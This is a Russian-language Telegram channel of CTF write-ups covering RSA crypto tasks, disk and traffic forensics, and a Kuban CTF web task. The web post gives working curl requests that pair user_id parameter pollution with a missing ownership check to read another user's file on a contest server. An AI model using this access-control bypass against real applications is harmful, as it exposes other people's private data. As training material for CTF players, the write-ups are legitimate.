Райтапы по CTF{2025}
2.83K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#googlectf #writeup #crypto
Redacted RSA 1 от @Max_RSC

Всем привет! Я планирую написать серию разборов задач по криптографии от Google CTF. Вкратце, суть заключается в том, что в каждой последующей задачке приватный ключ становится все более поврежденным. В Redacted RSA 1 нам предоставляется значение d, тогда как в Redacted RSA 2 извлечь d становится невозможно из-за сильного повреждения ключа. Тем не менее, значение d все еще можно рассчитать. Но давайте вернемся к первой, самой простой задачке этой серии.

В первом случае у нас есть часть приватного ключа, которая содержит не только значения открытого ключа (n и e), но и значение приватной экспоненты (d), то есть все необходимые данные для расшифровки. Основная сложность, с которой сталкиваются новички, заключается в том, что они не знают, как извлечь эти значения. Простым и доступным способом решения этой проблемы является использование онлайн-сервиса, такого как:

https://lapo.it/asn1js

Однако, чтобы ключ был правильно прочитан этим сервисом, необходимо выполнить несколько шагов. Во-первых, откройте приватный ключ в любом текстовом редакторе и замените все звездочки (*) на символы, допустимые в base64 (например, на «A»). После этого файл можно загрузить на сервис, который корректно интерпретирует данные. Если при попытке загрузить ключ на сервис возникла ошибка с сообщением наподобие "Error: Content size is not correct for container at offset 6", это означает, что вы что-то сделали не так.

В результате, загрузив наш поврежденный приватный ключ на сервис, мы увидели, что он все еще достаточно целостен, чтобы расшифровать шифртекст: значения n и d сохранились в полном объеме!

Я сделаю небольшое пояснение для новичков о значениях, которые мы рассматриваем:

modulus (n) – это модуль. Обычно в задачах на RSA значение n предоставляется. В данном случае n представляет собой длинную строку, начинающуюся с 641646.

publicExponent (e) – это публичная экспонента. В большинстве случаев она равна 65537, что является стандартом. Пара значений n и e в их совокупности образует открытый ключ.

privateExponent (d) – это приватная экспонента. Закрытый (приватный) ключ формируется из пары значений d и n. Именно закрытый ключ используется для расшифровки зашифрованного текста. В большинстве задач по RSA необходимо рассчитать или каким-то образом получить значение d. В Redacted RSA 1 d уже известно.

prime1 (p) – это первый фактор. В этой задачке значение p невозможно извлечь из-за повреждения приватного ключа, но нам это не нужно, так как у нас есть d.

prime2 (q) – это второй фактор. Произведение первого и второго факторов дает значение n. Аналогично, значение q невозможно извлечь, но это нам не нужно, так как у нас есть d.

Чтобы скопировать конкретное значение с данного сервиса, необходимо щелкнуть по нему левой кнопкой мыши и выбрать опцию "Сopy value".

Еще одной распространенной проблемой, с которой сталкиваются новички, является то, что они не знают, как перевести шифртекст в десятичный формат (base10). В контексте RSA мы обычно работаем с целыми числами. На мой взгляд, наиболее быстрым и доступным способом будет использование языков программирования, например, Python:

# Открываем файл
with open('encrypted.txt', 'rb') as file:
byte_data = file.read() # Читаем содержимое файла как байты
 
# Преобразуем байты в base10
encoded = int.from_bytes(byte_data, 'big')
 
# Выводим результат
print(encoded)

Теперь остается только расшифровать флаг. Авторы задачки предлагают использовать команду OpenSSL, однако у новичков это может вызвать трудности. На соревнованиях имеет смысл потратить время более эффективно, вместо того чтобы вспоминать, какая именно команда нужна для расшифровки. Поэтому проще воспользоваться сервисом dCode:

1. Идем на https://dcode.fr/rsa-cipher и вводим значения n, c, e, d в соответствующие поля.

2. Нажимаем кнопку "CALCULATE/DECRYPT" для выполнения расшифровки.

Хотел бы добавить, что задачка по-прежнему доступна для решения, и вы можете повторить описанные шаги.
2👍128🔥4🐳1
Where is my Pony? NullByte Eternal Games Writeup от @Max_RSC

Без лишних предисловий перейдем к делу.

Нам дали какой-то flashdrive. На всякий случай сделаем strings: вдруг флаг лежит в открытом виде?
strings flashdrive | grep -i X0G4M3

# Вывод:

X0G4M3{Th1s_1S_N0t_MY_B3l0v3D_P0nY}

Фейк! Почему я не удивлен :D

Кидаем в file, чтобы понять, что представляет собой этот файл:
file flashdrive

# Вывод:
flashdrive: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", sectors/cluster 8, Media descriptor 0xf8, sectors/track 32, heads 64, hidden sectors 26116096, sectors 4192256 (volumes > 32 MB), FAT (32 bit), sectors/FAT 4088, reserved 0x1, serial number 0xd873f71c, unlabeled

Окей, это образ флешки. FAT32, куча секторов, скрытых разделов — в общем, все как обычно: у @CyberFazaN легко не бывает.

Чтобы посмотреть, что на флешке, воспользуемся утилиткой fls из пакета sleuthkit:
fls -r -f fat32 -o 0 flashdrive

# Вывод:

DO_NOT_OPEN/ # ну конечно, сразу хочется туда залезть!

MyBelovedVideo.mp4 # подозрительно милое название...

wallpaper.png # вряд ли это интересно

.hidden # о, папочка с секретиками!

.NotThat.jpg # классика: "это не то, что ты ищешь" (скорее всего, как раз именно то)

______~1.PNG # похоже на битую картинку

LOOOOOOOVEEEEEEEE.txt # это явно не просто текстовик...

Берем icat из пакета sleuthkit и начинаем вытаскивать все подряд:
icat -o 0 flashdrive 135 > MyBelovedVideo.mp4

icat -o 0 flashdrive 6 > wallpaper.png

# и так далее...

Файл LOOOOOOOVEEEEEEEE.txt выглядит как текстовый, но...
file LOOOOOOOVEEEEEEEE.txt

# Вывод:

LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.txt: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "Nice", progressive, precision 8, 720x850, components 3

Оказывается, это JPEG. Переименовываем:
mv LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.txt LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.jpg

Открываем картинку:
eog LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.jpg

Видим флаг.

Ссылка на задание

#forensics #NullByte #NBGames #writeup
22
Эй, народ! @s41nt0l3xus поделился с нами крутым райтапом на интересный hard pwn, который был на недавнем SAS CTF 2025 Quals! Речь про таск Broken Trust! Райтап большой, поэтому автор залил его на гитхаб. Обязательно загляните, будет интересно!

#pwn #writeup #sasctf2025

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥15👍3🤯3
@s41nt0l3xus снова делится с нами райтапом на hard pwn с SAS CTF 2025 Quals — на этот раз разбирает таску Trust Issues. Райтап большой, поэтому автор залил его на гитхаб.

Кстати, райтап на Broken Trust мы выкладывали вот здесь.

#pwn #writeup #sasctf2025

💬 Канал & Чат & Бот с тасками | 📺RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥5
FreeHackQuest - admin_vol.1. Writeup от @Max_RSC

Задача — имея образ виртуального диска Mik.vdi, найти информацию о злоумышленнике, про которого известно, что он очень любит "Матрицу" и "Алису в стране чудес". 

Подключаем диск Mik.vdi к виртуалке с Kali Linux и загружаемся. После старта в /media/kali видим два смонтированных раздела: system и system1. 

Раз есть "Матрица", значит, наверняка есть Нео. Предположим, что n30 – один из пользователей этой системы. Пробуем поискать информацию по ключевому слову n30:
grep -i n30 -r /media/kali/system  

Ничего интересного. Хорошо, теперь поищем в system1:
grep -i n30 -r /media/kali/system1  

Получаем зацепку и начинаем копать более прицельно:
grep -ai n30 -r /media/kali/system1/rw/store/user.dat  
 

Ключик -a заставляет grep рассматривать файл как текстовый, даже если это бинарный файл.

В результате натыкаемся на пользователя whiterabbit, а рядом — флаг.

"whiterabbit" — это явная отсылка одновременно и к "Алисе" и к "Матрице", так что можно было сразу грепать и по "white", и по "rabbit". Разумеется, при условии, что кибератлет достаточно эрудирован и уловил отсылку из условия задачи.

#admin #forensics #fhq #writeup
12
Всем привет! 🕵🏻

Накидал коротенький райтап по осинт таску с прошедших киберучений CyberCamp
Помог вернуть несчастному горе-коту Компоту крипту

➡️ Ссылка на райтап

#writeup #osint #cybercamp2025

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥10
#crypto #medium #writeup
Kuban CTF – "Двойная проблема" от @Max_RSC (ТОП-10 на HackerLab)

Перед нами очередная задачка из мира CTF, где дают слегка кривую (точнее — уязвимую) реализацию RSA. В этот раз на входе у нас два модуля n1 и n2, одинаковая публичная экспонента e, и одно зашифрованное сообщение c. Все необходимые данные приведены непосредственно в тексте поста, поэтому отдельный файл не прикладывается.

Ключевой момент: когда дают сразу два разных n, у них может оказаться общий делитель. Если так, то мы фактически получаем одно из простых чисел, из которых складывается модуль n. Безопасность RSA держится на сложности факторизации, и как только мы каким-то образом обошли эту сложность, остальное — детская арифметика. То есть задача опирается на тот факт, что RSA небезопасен, если модули разделяют хотя бы один множитель. Если мы найдем один из множителей, например, p, то после этого сможем легко посчитать функцию Эйлера, найти приватную экспоненту d и расшифровать флаг.

Чтобы найти p, подтягиваем функцию gcd из библиотеки math:
from math import gcd

Подставляем числа, которые даны по условию:
n1 = 85301229878846970301323107702818609695755812591124862399151849850592748938587788039100822431199468780483863005508930154818093365993106028516482945027104435477220021520315775763582770886230113033749748971338316409196598045001663482949869374010947883957820793242137793210215930782186351794325806945717508347881
n2 = 109513893064865824312887126037695992618837379743053225051510712684706298394844250173030307725980622229363463153247419002611731684061578669993893758240971054995662819118490841792391822485215186261857628830400956404892168386609596159676364114308057445982469895464743365411603666960249026127185036946732158072467
e = 65537
c = 80523060741828874775927939583674208314359823391190778967023421748976347340246911181413681174368696929906966394615901583879335335760357963720615301569603850444832668348817460953008596314270793433890476685628856002996942980704863201169642782967237984763737464120837902881702995220342897353879003315047260081532

Вычисляем общий делитель:
p = gcd(n1, n2)

Теперь у нас на выбор два пути: либо закинуть все это добро в онлайн‑сервис (вроде dcode.fr) и быстро получить результат, либо честно проделать руками в Python — ради спортивного интереса займемся вторым (хотя на соревнованиях я выбираю первое :D)

Находим второй множитель для n1. Про n2 в данном случае можно смело забыть — он уже отработал свое:
q = n1 // p

Считаем значение функции Эйлера, то есть phi от n1:
phi_n1 = (p - 1) * (q - 1)

Далее вычисляем приватную экспоненту:
d = pow(e, -1, phi_n1)

Ну и кульминация: расшифровываем сообщение:
m = pow(c, d, n1)

Остался финальный штрих — превратить число в строку. Новичков может сбить с толку момент с bytes.fromhex(...). Дело в том, что функция ждет строку из шестнадцатеричных символов. Когда мы пишем hex(m), то получаем строку вида '0x...'. Поэтому [2:] аккуратно обрезает приставку '0x', и тогда все работает без ошибок:
flag = bytes.fromhex(hex(m)[2:])
print(flag)


💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
30🔥72
corpfiles_src.zip
32.6 KB
#web #medium #writeup
Kuban CTF – "Корпоративное хранилище" от @LiamSOMHOLD

Это не просто папки и файлы, это настоящая крепость... ну, или так кажется. Попытайся не спалиться и докопаться до сокровищ. Кто знает, может, там и не только отчёты по бюджету.

Формат флага: CSC{...}


Есть две уязвимости это ошибка в обработке user_id в /api/files (То есть можно подставить два user_id и обмануть проверку) и отсутствие проверки владельца при загрузке файла /file/<file_id>
curl -s "http://62.173.139.193:16003/api/files?user_id=1&user_id=23" \
  -H "Cookie: session=eyJ1c2VyX2lkIjoyM30.aKmUNw.Rm7rIOuABeAEHoyrtOGu-w-GoOQ"

И получил ответ
{"files":[{"file_id":"b00b73ebe000","filename":"secret.txt"}]}

Ну и дальше
curl -s "http://62.173.139.193:16003/file/b00b73ebe000" \
  -H "Cookie: session=eyJ1c2VyX2lkIjoyM30.aKmUNw.Rm7rIOuABeAEHoyrtOGu-w-GoOQ"

И будет сам флаг.

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14
#forensics #medium #writeup
Kuban CTF – Файловый трансфер от @Rean1mat0r (ТОП-5 на HackerLab)

Открываем дамп трафика в Wireshark и смотрим файлы в дампе:

Файл -> Экспортировать объекты -> FTP-Data

Сохраняем архив archive.zip, он запаролен

Смотрим TCP потоки и в потоке 5 находим:

220 (vsFTPd 3.0.5)
USER transfer
331 Please specify the password.
PASS 7+N42D(Msj9:
230 Login successful.

Пароль подходит к архиву, в архиве файл secure_creds.txt с таким содержимым:

/RteVGJrn

PMkEaBLVfp

/RteVGJrn очень похоже на какой то эндпоинт

Исследуем TCP потоки и в потоке 13 находим адрес pastebin.com

Заходим на pastebin.com/RteVGJrn вводим пароль PMkEaBLVfp и получаем заметку с флагом

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
112211
#forensics #medium #writeup
Kuban CTF – MTF от @Rean1mat0r (ТОП-5 на HackerLab)

Дан дамп MFT

Гуглим MFT Forensics и находим утилиту MFT Explorer

Открываем в ней наш дамп и изучаем

Проверяем папки пользователя, такие как Desktop, Documents, Downloads. Ничего интересного не находим. Но в файле истории команд Powershell ".\Users\trager\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" находим такое:

ASCII: cd ~/Desktop
1..5 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..50 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
1..150 | ForEach-Object {Set-Content -Path "test$_.txt" -Value "$_" }
ping 192.168.58.132
cd C:\Windows\
ls
echo 1 > Doc
ls
echo "43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D" > Doc
cat .\Doc
cd C:\Users\trager\Downloads\
ls
./fast_x64.exe --packages dump --dump mft
.\FastIR_x64.exe --packages dump --dump mft

Декодим из хекс 43 53 43 7B 6D 34 73 74 65 72 5F 66 31 6C 65 5F 74 34 62 6C 65 5F 70 34 73 73 65 64 7D и получаем флаг

💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
81